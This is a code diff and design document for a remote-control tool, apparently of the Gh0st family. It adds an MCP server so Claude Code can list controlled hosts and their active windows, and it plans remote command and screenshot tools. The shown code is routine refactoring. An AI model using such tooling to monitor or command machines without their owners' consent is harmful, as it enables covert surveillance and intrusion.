     HKEY  hKey;			//注册表返回句柄
-    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
+    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
         DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
         DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
         //这就是枚举了
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
                 RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
                              NULL,&Type,szValueData,&DataSize);//读取键值
 
-                if(Type==REG_SZ) {
+                // 值类型映射：REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE，
-                    szTemp[0]=MREG_SZ;
+                // 未识别类型一律 MREG_NONE（避免误报为 REG_SZ）。
-                }
+                switch (Type) {
-                if(Type==REG_DWORD) {
+                case REG_SZ:        szTemp[0] = MREG_SZ;        break;
-                    szTemp[0]=MREG_DWORD;
+                case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
-                }
+                case REG_MULTI_SZ:  szTemp[0] = MREG_MULTI_SZ;  break;
-                if(Type==REG_BINARY) {
+                case REG_DWORD:     szTemp[0] = MREG_DWORD;     break;
-                    szTemp[0]=MREG_BINARY;
+                case REG_QWORD:     szTemp[0] = MREG_QWORD;     break;
-                }
+                case REG_BINARY:    szTemp[0] = MREG_BINARY;    break;
-                if(Type==REG_EXPAND_SZ) {
+                case REG_NONE:      szTemp[0] = MREG_NONE;      break;
-                    szTemp[0]=MREG_EXPAND_SZ;
+                default:            szTemp[0] = MREG_NONE;      break;
                 }
                 szTemp+=sizeof(BYTE);
                 strcpy(szTemp,szValueName);

client/ScreenManager.cpp

@@ -189,6 +189,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
     m_bIsWorking = FALSE;
     DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
     if (s == WAIT_TIMEOUT) {
+        Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
         TerminateThread(m_hWorkThread, 0x20260215);
     }
 
@@ -1725,11 +1726,15 @@ bool IsExtendedKey(WPARAM vKey)
 
 VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
 {
+    // 记录大小判定：现代控制端（本服务端）统一发 48 字节 MSG64；28 字节 MSG32 仅为兼容
+    // 老 32 位控制端。二者长度的最小公倍数是 336（=7×48=12×28），批量注入（如 MCP 远程
+    // 控制的 type/拖拽）时若先判 %28，会把 7 的整数倍条 MSG64 误判成 MSG32，字段错位导致
+    // 输入错乱甚至吞掉按键；故先判 %48，仅当不整除 48 才回落到 28。
     int msgSize = sizeof(MSG64);
-    if (ulLength % 28 == 0)         // 32位控制端发过来的消息
+    if (ulLength % 48 == 0)         // 64位控制端（现代服务端）发过来的消息
-        msgSize = 28;
-    else if (ulLength % 48 == 0)    // 64位控制端发过来的消息
         msgSize = 48;
+    else if (ulLength % 28 == 0)    // 32位控制端发过来的消息（兼容）
+        msgSize = 28;
     else return;                    // 数据包不合法
 
     // 命令个数

client/Script.rc

@@ -88,7 +88,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //
 
 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,3,8
+ FILEVERSION 1,0,3,9
  PRODUCTVERSION 1,0,0,1
  FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
         BEGIN
             VALUE "CompanyName", "FUCK THE UNIVERSE"
             VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.3.8"
+            VALUE "FileVersion", "1.0.3.9"
             VALUE "InternalName", "ServerDll.dll"
             VALUE "LegalCopyright", "Copyright (C) 2019-2026"
             VALUE "OriginalFilename", "ServerDll.dll"

client/ShellManager.cpp

@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
     m_bStarting = FALSE;
 
     TerminateProcess(m_hShellProcessHandle, 0);   //结束我们自己创建的Cmd进程
+    Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
     TerminateThread(m_hShellThreadHandle, 0);     //结束我们自己创建的Cmd线程
     Sleep(100);
 

client/ghost_vs2015.vcxproj

@@ -185,6 +185,7 @@
     <ClCompile Include="..\common\ikcp.c" />
     <ClCompile Include="..\common\zstd_wrapper.c" />
     <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
@@ -234,6 +235,7 @@
     <ClInclude Include="..\common\wallet.h" />
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="Audio.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="auto_start.h" />

client/main.c

@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
         param.User = g_Server.pwdHash;
         threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
     } else if (fdwReason == DLL_PROCESS_DETACH) {
-        if (threadHandle) TerminateThread(threadHandle, 0x20250619);
+        if (threadHandle) {
+            // DLL 卸载时强杀线程前记录日志，便于定位死锁。此处 Mprintf 在 release 被定义为空，
+            // 且 DETACH 阶段 CRT 可能已不可用，故用内核 API OutputDebugStringA 输出。
+            OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
+            TerminateThread(threadHandle, 0x20250619);
+        }
     }
     return TRUE;
 }

common/commands.h

@@ -317,6 +317,8 @@ enum {
     TOKEN_REPORT_LOG = 156,
     COMMAND_FORBIDDEN = 157,
     CMD_CUSTOM_CURSOR = 158,
+    COMMAND_QUERY_ACTIVITY = 159,   // 服务端 → 客户端：索取历史活动
+    TOKEN_REPORT_ACTIVITY = 160,    // 客户端 → 服务端：上报历史活动
     
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表

common/logger.h

@@ -152,6 +152,12 @@ public:
                                id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
                                id + "[" + timestamp + "] "  + message;
 
+        // 方案B：在源头统一保证每条日志以单个 '\n' 结尾，文件与内存 ring buffer
+        // 共用同一份文本；写文件时不再额外追加换行，内存导出直接拼接即可正确分行。
+        while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
+            logEntry.pop_back();
+        logEntry += '\n';
+
         // Always record to in-memory ring buffer regardless of enable flag.
         {
             std::lock_guard<std::mutex> lock(m_memMutex);
@@ -305,7 +311,7 @@ private:
         std::lock_guard<std::mutex> lock(fileMutex);
         std::ofstream logFile(logFileName, std::ios::app);
         if (logFile.is_open()) {
-            logFile << logEntry << std::endl;
+            logFile << logEntry;  // logEntry 已在 log() 中以单个 '\n' 结尾
         }
     }
 

docs/Mcp_Design.md

@@ -0,0 +1,443 @@
+# YAMA 服务端 MCP 支持方案
+
+> 版本：1.0
+> 状态：Final（定稿）
+> 适用范围：`server/2015Remote/`（C++/MFC 服务端，生产主流）
+
+---
+
+## 1. 背景与目标
+
+### 1.1 背景
+
+MCP（Model Context Protocol）是 Anthropic 提出的开放协议，让 AI 助手（Claude Code、Claude Desktop 等）通过标准化的工具调用接口访问外部系统的能力。
+
+YAMA 服务端维护了「在线主机列表」这一核心数据，如果能通过 MCP 暴露出去，用户就能在 Claude Code 里直接问「现在有多少台机器在线？」「列出所有在线的 Windows 主机」等，由 AI 调用工具获取实时数据。
+
+### 1.2 本期范围（MVP）
+
+**只跑通 MCP，只实现一个工具**，把可扩展架构搭起来：
+
+- 传输方式：Streamable HTTP（`POST /mcp`，JSON-RPC 2.0 over HTTP）
+- 工具数量：1 个 —— `list_online_hosts`（获取在线主机列表）
+- 暴露范围：启用开关（默认关闭，经「扩展 → MCP设置」对话框开启）+ 绑定地址可配置（默认 `127.0.0.1` 仅本机）+ token 认证（env / THIS_CFG / 随机）
+- 后续：逐步添加工具（进程列表、命令执行、屏幕截图等），架构不动
+
+### 1.3 非目标（明确不做）
+
+- 不做 SSE 服务器推送（本期工具调用是 request/response 即可）
+- 不做多用户/角色体系（复用现有 WebService 认证或静态 token）
+- 不做写操作工具（操控主机的工具属于后续阶段，需单独评审安全边界）
+- 不碰现有 Web 控制台的 WebSocket 服务
+
+---
+
+## 2. 现状分析
+
+C++ 服务端已有大量可直接复用的资产，MCP 的落地成本因此大幅降低。
+
+| 现成资产 | 位置 | 在 MCP 中的角色 |
+|---|---|---|
+| HTTP 服务器 | `httplib.h`（header-only，`file_server.h:34` 已用） | MCP 的 HTTP 传输层 |
+| JSON 库 | `jsoncpp/json.h`（`WebService.cpp` 已用） | JSON-RPC 编解码 |
+| Token 认证 | `WebServiceAuth.h`（`GenerateToken` / `ValidateToken` / `ComputeSHA256`） | 可选升级路径；MVP 用简单静态 token 比对（见 §3.5） |
+| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()`（`WebService.cpp:1506`） | **工具 `list_online_hosts` 的核心逻辑** |
+| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList`（`2015RemoteDlg.h:345`，`m_cs` 保护）+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
+| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
+
+### 2.1 关键结论
+
+- **HTTP、JSON、认证、主机列表 JSON 全部现成**，MCP 侧不需要重新造轮子。
+- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**，因为 C++ 没有官方 MCP SDK（官方仅有 TS/Python/Java/Kotlin/C#/Go）。
+
+### 2.2 `BuildDeviceListJson` 现状
+
+`WebService.cpp:1506` 的 `CWebService::BuildDeviceListJson(const std::string& username)` 已实现：
+
+- 遍历 `m_pParentDlg->m_HostList`，过滤 `ctx->IsLogin()`
+- 输出字段：`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
+- 已处理 GBK/UTF-8 编码分叉（`activeWindow` 字段按客户端能力位选择编码页，见 `WebService.cpp:1581` 附近的 `GetClientEncoding`）
+
+**该方法是 `private`**（`WebService.h:160`，位于 private 段）。MCP 侧需通过公开入口复用（见 §3.4）。
+
+---
+
+## 3. 方案设计
+
+### 3.1 总体架构
+
+```
+2015Remote.exe（MFC 服务端进程）
+├─ IOCP TCP 服务（被控端连接，现有）
+├─ WebService（ws::Server，Web 控制台，现有，8080）
+└─ McpServer（httplib，新增，默认禁用，经「MCP设置」开启后监听 127.0.0.1:6544）
+      POST /mcp → JSON-RPC 分发
+                    ├─ initialize
+                    ├─ tools/list
+                    └─ tools/call
+                          └─ list_online_hosts → 复用 BuildHostJson（公共函数，§3.4）
+```
+
+**核心决策：独立起一个 httplib server，不挂到现有 `ws::Server`。**
+
+理由：
+- 现有 `ws::Server` 的 `HttpHandler` 只有 `path` 参数、无 POST body（`SimpleWebSocket.h:345`），强挂 MCP 需改动其底层，侵入大、有回归风险。
+- 独立 server 零耦合、零风险，且天然满足「仅 127.0.0.1」的绑定需求。
+
+### 3.2 新增文件清单
+
+| 文件 | 职责 | 估算量 |
+|---|---|---|
+| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
+| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层：`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
+| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
+| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框（启用/端口/绑定/token + 重启提醒） | ~150 行 |
+| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线（`ID_MCP_SETTINGS` → `OnMcpSettings`） | ~30 行 |
+| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
+
+> 头文件/实现可合并精简，实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态，文件拆分仅为可读性。
+
+### 3.3 协议层设计（JSON-RPC 2.0）
+
+MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法：
+
+#### 3.3.1 `initialize`（握手）
+
+请求：
+```json
+{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
+```
+
+响应：
+```json
+{"jsonrpc":"2.0","id":1,"result":{
+  "protocolVersion":"2025-06-18",
+  "capabilities":{"tools":{}},
+  "serverInfo":{"name":"yama","version":"<VERSION_STR>"}
+}}
+```
+
+#### 3.3.2 `tools/list`
+
+请求：`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
+
+响应：
+```json
+{"jsonrpc":"2.0","id":2,"result":{"tools":[{
+  "name":"list_online_hosts",
+  "description":"获取当前所有在线主机的列表，包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
+  "inputSchema":{"type":"object","properties":{},"required":[]},
+  "outputSchema":{
+    "type":"object",
+    "properties":{
+      "hosts":{
+        "type":"array",
+        "items":{
+          "type":"object",
+          "properties":{
+            "id":{"type":"string"},
+            "name":{"type":"string"},
+            "remark":{"type":"string"},
+            "ip":{"type":"string"},
+            "os":{"type":"string"},
+            "location":{"type":"string"},
+            "rtt":{"type":"string"},
+            "version":{"type":"string"},
+            "activeWindow":{"type":"string"},
+            "online":{"type":"boolean"},
+            "group":{"type":"string"},
+            "screen":{"type":"string"},
+            "clientType":{"type":"string"}
+          }
+        }
+      }
+    },
+    "required":["hosts"]
+  }
+}]}}
+```
+
+#### 3.3.3 `tools/call`
+
+请求：
+```json
+{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
+```
+
+响应（结构化输出：`structuredContent` 承载主机数组，`content` 附带可读摘要）：
+```json
+{"jsonrpc":"2.0","id":3,"result":{
+  "structuredContent":{
+    "hosts":[
+      {"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
+       "os":"Windows 10","location":"上海市","rtt":"12","version":"...",
+       "activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
+    ]
+  },
+  "content":[{"type":"text","text":"共 1 台主机在线。"}],
+  "isError":false
+}}
+```
+
+#### 3.3.4 可选实现
+
+- `ping`：返回空 result（便于健康检查）
+- `notifications/initialized`：客户端通知，可忽略
+
+#### 3.3.5 错误响应（JSON-RPC 2.0 标准）
+
+协议层必须处理以下错误，返回标准 `error` 结构（`id` 回填请求 id）：
+
+| 场景 | code | message |
+|---|---|---|
+| 请求体不是合法 JSON | `-32700` | Parse error |
+| 请求结构不合法（缺 jsonrpc/method 等） | `-32600` | Invalid Request |
+| 方法未实现 | `-32601` | Method not found |
+| 参数非法 | `-32602` | Invalid params |
+| 内部错误 | `-32603` | Internal error |
+
+示例（方法未实现）：
+```json
+{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
+```
+
+#### 3.3.6 传输层约定（Streamable HTTP 最小子集）
+
+- 客户端 `POST /mcp`，请求头 `Content-Type: application/json`、`Accept: application/json, text/event-stream`。
+- 服务端返回 `Content-Type: application/json`（MVP 工具调用为 request/response，无需 SSE 流式）。
+- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理；MVP 单会话可省略，实现时对照最新 MCP 规范确认。
+- 仅接受 `POST /mcp`，其余路径/方法返回 404/405。
+
+### 3.4 工具设计：`list_online_hosts`
+
+#### 取数方案（已定：抽公共函数）
+
+`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法，且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则，采用**方案 C：抽公共函数**。
+
+```cpp
+// 公共函数：提取单台在线主机的完整数据（含 GBK/UTF-8 编码处理），返回 UTF-8 的 Json::Value
+Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
+```
+
+- `CWebService::BuildDeviceListJson` 内部改调该公共函数，Web 侧签名与输出不变（零回归）。
+- `McpServer` 侧持 `CMy2015RemoteDlg*`（`SetParentDlg`），在 `m_cs` 锁内遍历 `m_HostList`、`IsLogin()` 过滤，对每台主机调 `BuildHostJson`，组装为结构化输出。
+- **职责边界**：用户名/分组过滤（`username` → `allowed_groups`）、`m_cs` 加锁、以及外层结构（Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`）属于**调用方**，不进公共函数；`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`，故 `clientMap` 作为参数传入。
+
+选型说明：方案 A（MCP 依赖 `CWebService` 单例）依赖方向错误，且 `WebSvrPort=0` 时 `m_pParentDlg` 为空导致取不到数；方案 B（MCP 自持父对话框复制逻辑）违反 DRY、重复易错的编码处理。故取 C。
+
+#### 返回内容（全量，含实时信息）
+
+**保留 `BuildDeviceListJson` 的全部字段，不做精简**，以支持「AI 协助监督客户端运行状态」的场景：
+
+- 基础标识：`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
+- 实时信息：`rtt`（延迟）、`activeWindow`（当前活动窗口，即被控端正在做什么）
+
+输出结构 `{"hosts": [...]}`，每台主机一个对象，字段与 §3.3.2 的 `outputSchema` 一致。
+
+### 3.5 安全设计
+
+- **绑定地址**：默认 `127.0.0.1`（仅本机回环，其他机器无法访问）；可经 `McpBind` 配置为 `0.0.0.0`（所有网卡）或内网 IP（如 `192.168.0.92`）以支持远程调用。
+  - 非回环绑定时 token 经明文 HTTP 传输，需强 token，并建议配合防火墙限制源 IP 或启用 HTTPS（项目已有 WebHTTPS 实践）。
+- **静态 token 校验**：每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header；不匹配返回 HTTP 401。
+- **token 来源**（优先顺序）：环境变量 `YAMA_MCP_TOKEN` → `THIS_CFG` 的 `McpToken` → 两者皆空则**随机生成**。
+  - 前两者任一非空即作为固定 token；仅当两者皆空时才随机生成（仅本次进程运行期间有效，进程重启后重新生成不同的 token）。
+  - 随机生成时**必须将 token 输出到日志**（`Mprintf`），否则用户无从获知、无法在 Claude Code 侧配置。
+  - 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏（如 `BRAND_MCP_ENV_VAR`），避免散落硬编码字符串。
+- **只读边界**：MVP 仅一个只读工具，不暴露任何写/操控能力。
+- **HTTP 方法限制**：仅接受 `POST /mcp`，其余返回 404/405。
+
+### 3.6 配置设计
+
+沿用现有 `THIS_CFG`（`settings` 节）：
+
+| 配置键 | 默认值 | 说明 |
+|---|---|---|
+| `McpEnabled` | `0` | MCP 总开关：`0` = 禁用（默认），`1` = 启用。经「扩展 → MCP设置」对话框设置 |
+| `McpPort` | `6544` | MCP 监听端口；仅当 `McpEnabled=1` 时生效；未配置用默认 `6544` |
+| `McpBind` | `127.0.0.1` | 监听地址；默认仅本机；可设 `0.0.0.0`（所有网卡）或内网 IP（如 `192.168.0.92`）以支持远程 |
+| `McpToken` | 空（UI 默认随机值） | 静态 token；对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级：env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成（见 §3.5） |
+
+> 与旧版「`McpPort=0` 即禁用」不同：启用与否改由独立的 `McpEnabled` 开关控制，`McpPort` 回归纯端口语义，二者解耦。
+
+### 3.7 生命周期接入
+
+在 `2015RemoteDlg.cpp` Web 服务启动块（约 `2048-2081`）之后，新增 MCP 启动逻辑。`McpServer` 与 `CWebService` 同为单例：提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器（仿 `WebService()`，见 `WebService.h` 末尾的全局访问器写法）。
+
+```cpp
+auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);   // 默认禁用
+auto mcpPort    = THIS_CFG.GetInt("settings", "McpPort", 6544);
+auto mcpBind    = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
+if (mcpEnabled) {
+    // token 优先顺序：env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机（仅本次进程有效）
+    const char* envTok = getenv("YAMA_MCP_TOKEN");
+    std::string mcpToken;
+    if (envTok && *envTok) {
+        mcpToken = envTok;
+    } else {
+        mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
+    }
+    if (mcpToken.empty()) {
+        mcpToken = GenerateRandomToken();  // 32 hex 随机串
+        Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置，本次进程随机 token：%s\n", mcpToken.c_str());
+    }
+    McpServer().SetParentDlg(this);   // 方案 C：MCP 需遍历 m_HostList，须持父对话框指针
+    McpServer().SetToken(mcpToken);
+    if (!McpServer().Start(mcpBind, mcpPort)) {
+        Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
+    }
+}
+```
+
+并在退出路径（`OnDestroy` / `ExitInstance` 对应位置）调用 `McpServer().Stop()`。
+
+### 3.8 「MCP设置」配置对话框
+
+MCP 默认不启用，通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置：`2015Remote.rc` 扩展菜单（`POPUP "扩展(&X)"`）内、「地理信息(&L)」子菜单（纯真数据库 / IP2Region）的 `END` 之后、「插件设置」之前。
+
+#### 3.8.1 菜单与资源接线
+
+1. **`resource.h`**：新增命令 ID（取当前空闲段，经查 `33077` 空闲）：
+   ```cpp
+   #define ID_MCP_SETTINGS   33077
+   ```
+2. **`2015Remote.rc`**：在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入：
+   ```
+   MENUITEM "MCP设置(&M)...",                  ID_MCP_SETTINGS
+   ```
+   并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`（「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮）。
+3. **`UIBranding.h`**：扩展菜单隐藏开关新增一行（默认 `0` 显示）：
+   ```cpp
+   #define HIDE_MENU_MCP_SETTINGS   0   // MCP设置
+   ```
+4. **`FeatureFlags.h`**：新增运行时许可位，占用 MenuFlags 保留段 `[43-63]` 的首位（紧跟 `MF_REQUEST_AUTH` 之后）：
+   ```cpp
+   #define MF_MCP_SETTINGS       (1ULL << 43)  // HIDE_MENU_MCP_SETTINGS
+   ```
+5. **`2015RemoteDlg.cpp`**：`#include "McpSettingsDlg.h"`，然后消息映射 + 处理器 + 剪枝：
+   ```cpp
+   ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
+   // ...
+   void CMy2015RemoteDlg::OnMcpSettings()
+   {
+       CMcpSettingsDlg dlg(this);
+       dlg.DoModal();
+   }
+   ```
+   并在扩展菜单剪枝块（`pExtMenu`，约 `2015RemoteDlg.cpp:1225` 之后）追加：
+   ```cpp
+   if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
+       pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
+   ```
+
+> **实现注意**：`2015Remote.rc` 为 UTF-16 编码，菜单与对话框资源须由 VS 资源编辑器维护（手工改文本易破坏编码与资源 ID 引用）。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值（与 `ID_MCP_SETTINGS` 分开）；对话框内控件 ID（如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`）同理。
+
+#### 3.8.2 对话框字段与默认值
+
+| 控件 | 绑定配置键 | 默认值 | 说明 |
+|---|---|---|---|
+| 「启用 MCP」复选框 | `McpEnabled` | 未勾选（`0`） | 勾选后持久化 `McpEnabled=1` |
+| 端口 | `McpPort` | `6544` | 数字编辑框，仅当启用时有效 |
+| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机；可改 `0.0.0.0` / 内网 IP |
+| Token | `McpToken` | 随机值 | 必填；为空时预填随机 token |
+
+#### 3.8.3 初始化与保存
+
+打开时读 `THIS_CFG` 回填；token 为空则当场生成随机值预填（32 hex）。保存时落盘并弹重启提醒：
+
+```cpp
+BOOL CMcpSettingsDlg::OnInitDialog()
+{
+    CDialogLangEx::OnInitDialog();
+    int enabled  = THIS_CFG.GetInt("settings", "McpEnabled", 0);
+    int port     = THIS_CFG.GetInt("settings", "McpPort", 6544);
+    std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
+    std::string tok  = THIS_CFG.GetStr("settings", "McpToken", "");
+    if (tok.empty()) tok = GenerateRandomToken();   // 预填随机，随保存持久化
+    // 回填到控件：m_bEnabled / m_nPort / m_strBind / m_strToken
+    return TRUE;
+}
+
+void CMcpSettingsDlg::OnBnClickedBtnSave()
+{
+    // 从控件收集：enabled / port / bind / token
+    if (enabled && token.empty()) {
+        MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
+        return;
+    }
+    THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpPort", port);
+    THIS_CFG.SetStr("settings", "McpBind", bind);
+    THIS_CFG.SetStr("settings", "McpToken", token);
+    MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
+                _TR("提示"), MB_ICONINFORMATION);
+    CDialogLangEx::OnOK();
+}
+```
+
+#### 3.8.4 与运行时 token 逻辑的衔接
+
+对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**，于是下次启动走 `env → McpToken` 的固定 token 分支；运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过（或手动清空 token）时兜底，两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数（32 hex 随机串，可用 `rand_s` / `BCryptGenRandom` 实现；如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生）。
+
+---
+
+## 4. 实施步骤
+
+| 步骤 | 内容 | 验收 |
+|---|---|---|
+| 1 | 新建 `McpProtocol`：JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`（含 jsoncpp 解析/序列化） | 单元自测：手写请求串，验证响应 |
+| 2 | 新建 `McpServer`：httplib 起 `127.0.0.1:6544`，`POST /mcp` 路由 + token 校验（含随机生成） | curl 请求返回 401/正常 |
+| 3 | 抽公共函数 `BuildHostJson`，`CWebService::BuildDeviceListJson` 改调之 | Web 输出不变，零回归 |
+| 4 | 注册 `list_online_hosts` 工具：handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
+| 5 | 新增 `McpSettingsDlg` + 菜单项接线（`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源） | 对话框可启用/禁用、配置端口/绑定/token，保存落盘并提示重启 |
+| 6 | 接入 `2015RemoteDlg` 启动/停止（按 `McpEnabled` 门控）+ 配置 | 服务端启动后端口监听正常 |
+| 7 | Claude Code 接入验证（见 §5） | 见验收标准 |
+
+---
+
+## 5. 验收标准
+
+1. 在「MCP设置」对话框启用并重启服务端后，`127.0.0.1:6544` 监听正常，外部地址无法访问；未启用时该端口不监听。
+2. 无 token 的请求返回 HTTP 401；错误 token 返回 401；正确 token 通过。
+3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程，返回符合 JSON-RPC 2.0 与 MCP 规范。
+4. Claude Code 侧：
+   ```bash
+   claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
+   ```
+   `claude mcp list` 能看到 `yama`，在对话中问「列出在线主机」能正确触发工具并返回列表。
+5. 现有 Web 控制台、IOCP 主服务功能无回归。
+
+---
+
+## 6. 风险与约束
+
+| 风险 | 说明 | 应对 |
+|---|---|---|
+| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法，量小可控；协议稳定后再考虑抽库 |
+| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范；`initialize` 返回可协商版本 |
+| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
+| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理，不自造 |
+| token 存储 | `THIS_CFG` 的 token 会明文落盘；随机 token 会打印到日志 | 本地回环 + 只读，风险可控；敏感场景建议仅用 env 并妥善保管 |
+
+---
+
+## 7. 后续扩展规划（本期不做）
+
+- 工具：`get_host_processes`（进程列表）、`execute_command`（命令执行）、`capture_screen`（截图）等
+- 写操作工具的安全边界评审（操作对象、权限、审计）
+- 认证升级：复用 `WebServiceAuth` 的签名 token / 过期机制
+- 分组过滤：`list_online_hosts` 加 `group` 参数
+
+---
+
+## 8. 决策记录
+
+**决策记录（全部已定）：**
+- ✅ **启用开关**：新增 `McpEnabled`，默认 `0`（禁用）。MCP 默认不启动，须用户在「扩展 → MCP设置」对话框手动开启。
